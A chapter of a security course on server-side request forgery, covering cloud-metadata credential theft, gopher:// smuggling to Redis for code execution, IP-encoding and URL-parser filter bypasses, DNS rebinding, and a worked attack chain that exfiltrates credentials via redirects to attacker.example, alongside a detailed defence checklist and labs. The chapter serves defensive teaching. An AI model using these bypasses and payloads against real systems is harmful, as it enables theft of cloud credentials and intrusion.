Frontend Labs
⋯

Chapter 33 — SSRF mastery

In one sentence

G1 covered SSRF basics; mastery is the exploitation depth — cloud-metadata chains, protocol smuggling to RCE, the full menu of filter bypasses including DNS rebinding — and the one defence that actually holds: resolve, validate every resulting IP, then connect to that pinned IP with no redirects.

Where we are

You know SSRF is "make the server fetch attacker-chosen URLs" and the naive defences fail (G1 Ch 44). This chapter is what a determined attacker does with it and how to build a fetcher that can't be abused.

How it works

Cloud metadata (the highest-value target):

   AWS   http://169.254.169.254/latest/meta-data/iam/security-credentials/
         <role>   -> temp creds.
         IMDSv1: plain GET -> naive SSRF works.
         IMDSv2: needs a PUT to /latest/api/token with a header, then a
         GET with the token header -> naive SSRF (URL only, no header
         control, no PUT) is BLOCKED. But: SSRF where you control the
         method+headers, an HTTP-proxy SSRF, or gopher:// still work; and
         hop-limit>1 lets a container reach it.
   GCP   http://metadata.google.internal/computeMetadata/v1/instance/
         service-accounts/default/token  -- requires header
         `Metadata-Flavor: Google` -> needs header control.
   Azure http://169.254.169.254/metadata/identity/oauth2/token?...&resource=
         https://management.azure.com/  -- requires header `Metadata: true`.
   Also: Alibaba, DigitalOcean, Oracle, Hetzner variants; Kubernetes API
   (https://kubernetes.default), kubelet :10250, etcd, internal admin
   panels, Spring Boot /actuator, Consul, Docker API, Elasticsearch,
   Redis, Jenkins.

Protocol smuggling (SSRF -> RCE):

   gopher://  craft raw bytes to any TCP service:
     - Redis: `gopher://127.0.0.1:6379/_SET%20...` -> write a cron job,
       load a malicious module, or dump an RDB webshell -> RCE.
     - internal HTTP: send a full POST with headers/body to an internal
       API that trusts the network.
     - SMTP: send mail from the server; FastCGI/PHP-FPM -> RCE;
       memcached, MySQL (limited), LDAP.
   dict://   probe services, leak banners.
   file://   local file read (if the client follows it).
   Java: jar://, netdoc://, and http(s) with automatic redirect following.
   PHP: php://, phar:// (deserialization, Ch 37).

Filter bypasses:

   IP ENCODINGS of 127.0.0.1:  2130706433 (decimal), 0x7f000001 (hex),
     0177.0.0.1 (octal), 127.1, 127.0.1, 0, [::1], [::ffff:127.0.0.1],
     [0:0:0:0:0:ffff:7f00:1], mixed (0x7f.1).
   OF 169.254.169.254: 0xa9fea9fe, 2852039166, 025177524776, etc.
   HOSTNAME TRICKS:  http://localtest.me, *.nip.io / *.sslip.io (wildcard
     DNS -> any IP incl. 127.0.0.1), a domain you control with an A record
     pointing internal, http://spoofed.attacker.com (A -> 169.254.169.254).
   URL PARSER CONFUSION:  http://allowed.com@evil.com/,
     http://evil.com#allowed.com, http://evil.com\@allowed.com,
     http://allowed.com%2f..%2f@evil.com, missing scheme, `//host`,
     uppercase, trailing dot `allowed.com.`, extra `:` , CRLF in the URL
     -> header injection in the outbound request.
   OPEN REDIRECT CHAIN:  SSRF fetches an ALLOWED url that 302s to
     http://169.254.169.254/... -- if redirects aren't re-validated.
   DNS REBINDING (the important one):  attacker DNS returns an ALLOWED IP
     for the validation lookup, then 127.0.0.1 / 169.254.169.254 for the
     connection lookup (TTL 0). TOCTOU between "validate the hostname" and
     "connect". Defeats any check that resolves twice.

Blind SSRF exploitation: use an OAST/collaborator server, timing, and error differentials. Even blind, you can: confirm internal hosts/ports (timing), hit state-changing internal endpoints, trigger internal webhooks, and exfil via a redirect-to-your-server or DNS.

Second-order / stored SSRF: a URL saved now (a profile "website", a webhook target, an avatar URL, an SSO metadata URL) and fetched later by a backend job running in a more privileged network position.

The defence that holds:

   [ ] Don't build a URL fetcher unless you must. If you do:
   [ ] ALLOWLIST destination hosts AND schemes (https only). Deny by
       default.
   [ ] Resolve the hostname YOURSELF. Get ALL A/AAAA records. Reject if
       ANY resolved IP is in: loopback, RFC1918, link-local
       (169.254.0.0/16, fe80::/10), CGNAT (100.64/10), multicast,
       0.0.0.0/8, ::/128, IPv4-mapped IPv6, your own cloud/VPC ranges,
       the metadata IP.
   [ ] Then CONNECT TO THAT VALIDATED IP DIRECTLY, setting the Host header
       to the intended hostname -> the connection can't be rebound
       between validate and connect.
   [ ] Disable redirects, or re-run the full validation on every hop.
   [ ] Disable non-HTTP(S) schemes at the HTTP client level.
   [ ] Run the fetcher in an ISOLATED subnet: no cloud role attached,
       egress default-deny + FQDN allowlist, can't reach RFC1918 or the
       metadata endpoint at the NETWORK layer (belt and braces).
   [ ] IMDSv2 + hop-limit 1 on every instance.
   [ ] Timeouts, response size caps, no raw response/error passthrough to
       the user.
   Libraries that do most of this: `ssrf-filter` (Node), `advocate`
   (Python), Go's `net.Dialer.Control` hook to reject bad IPs; still add
   the network isolation.

Worked example

Turning a PDF-generator SSRF into cloud creds despite IMDSv2.

   SecureShop generates invoice PDFs from an HTML template that can
   include `<img src>`. The renderer (headless Chrome / wkhtmltopdf)
   fetches image URLs server-side. `src` is partly tenant-controlled
   (a logo URL).

   ATTACK:
     1. Direct `src=http://169.254.169.254/...` -> IMDSv2, no token PUT
        from an <img> fetch -> blocked. Good... but:
     2. The renderer runs in a POD on a node with hop-limit 2 (someone
        bumped it for a sidecar). And the renderer follows redirects and
        sets no special headers we need.
     3. `src=http://attacker.example/logo.png` -> attacker returns
        `301 -> http://169.254.169.254/latest/api/token` ... still needs
        a PUT.
     4. So instead: the renderer also processes `<iframe>` / fetches CSS
        `@import`, and one of those code paths uses a client that DOES
        forward a method override, OR the app exposes a separate
        "preview by URL" admin tool with full header control. Via that:
        PUT the token, GET the creds, exfil over a redirect to
        attacker.example.
     5. Node role creds -> `s3:GetObject` on an over-broad bucket ->
        cross-tenant invoices (the Part 2 chain).

   FIX (defence in depth, any one breaks it):
     - Renderer runs in a pod on a node with hop-limit 1; NetworkPolicy
       denies egress to 169.254.169.254/32 and all RFC1918.
     - The image fetcher: allowlist of image hosts (the tenant's CDN),
       https only, resolve+validate IPs, no redirects, 2s timeout, 2MB
       cap.
     - The renderer process: `--host-resolver-rules` / a proxy that only
       reaches the allowlisted hosts; no `file://`; disable remote fonts/
       CSS imports if not needed.
     - The node/pod has no cloud role that can read tenant data (workload
       identity scoped, Part 4 Ch 20); IMDSv2 required.

Practice (75 min)

  1. PortSwigger Academy "SSRF" track: basic, against another back-end system, with blacklist/whitelist filter bypasses, via open redirect, blind SSRF with out-of-band detection, SSRF via the Referer header.
  2. Locally: a fetch endpoint with a naive denylist. Bypass it with decimal IP, @, #, an open redirect, and DNS rebinding (run a rebinding DNS server — rbndr, singularity, or a tiny custom one with TTL 0).
  3. gopher -> Redis -> RCE in a lab (a vulnerable app + a local Redis) — write a webshell via gopher://.
  4. Cloud: in your sandbox, an app with IMDSv1 on and an SSRF; steal the role creds. Then enforce IMDSv2 + hop-limit-1 + a NetworkPolicy egress deny and confirm the same SSRF is now inert.
  5. Build a safe fetcher: allowlist + resolve + validate-all-IPs + connect-to-pinned-IP + no-redirects + isolated subnet. Attack it with every bypass from the chapter; document that each fails.

Across the series

  • An SSRF-safe client in Go that checks the dialled IP after DNS resolution and on every redirect. It blocked all five bypasses (IPv4-mapped IPv6, 0.0.0.0, a public name resolving to localhost, an encoded redirect to 169.254.169.254) where a string check let four through: HTTPS guide, Chapter 22.

Common mistakes

  • Denylisting localhost/127.0.0.1. Dozens of encodings and IPv6 forms bypass it. Allowlist destinations; validate resolved IPs against deny ranges.
  • Validating the hostname, then letting the HTTP client resolve again. DNS rebinding. Resolve once, validate, connect to that IP.
  • Following redirects. The allowed URL 302s internal. Disable or re-validate every hop.
  • Allowing gopher://, file://, dict://. Restrict the client to http/https.
  • Relying only on IMDSv2. It stops the naive <img src> case; a fuller SSRF, a proxy SSRF, or hop-limit>1 still reaches it. Add network isolation and a scoped workload role.
  • A fetcher with a cloud role and open egress. That's the loot and the exit. Isolate it.
  • Ignoring second-order SSRF. Stored URLs fetched later by privileged jobs. Validate at fetch time, in that context.

Check yourself

  1. Why does IMDSv2 stop some SSRF but not all? Give two cases where SSRF still reaches metadata.
  2. How does a gopher:// SSRF against Redis become RCE?
  3. Explain DNS rebinding and why "validate hostname then connect" fails.
  4. What is the "resolve, validate all IPs, connect to the pinned IP" pattern and what does each step prevent?
  5. Name three network-layer controls that contain SSRF even if the app-layer check is bypassed.
  6. What is second-order SSRF?

Further reading

  • Talks: Orange Tsai — "A New Era of SSRF" (BlackHat/DEF CON 2017) — protocol smuggling and URL-parser confusion, essential. "SSRF bible" cheat sheet.
  • Cheat sheet: OWASP "Server-Side Request Forgery Prevention Cheat Sheet"; the PayloadsAllTheThings SSRF list.
  • Labs: PortSwigger Academy SSRF track.
  • Tools: singularity / rbndr (DNS rebinding), gopherus (gopher payload generator), SSRFmap, Burp Collaborator; ssrf-filter/advocate (safe-fetch libs).
  • Post-mortem: Capital One (2019) — re-read with this depth; the many IMDSv1-SSRF cloud incidents.

Generated from real-life-security-guide-v1.md · 8 Oct 2026 16:36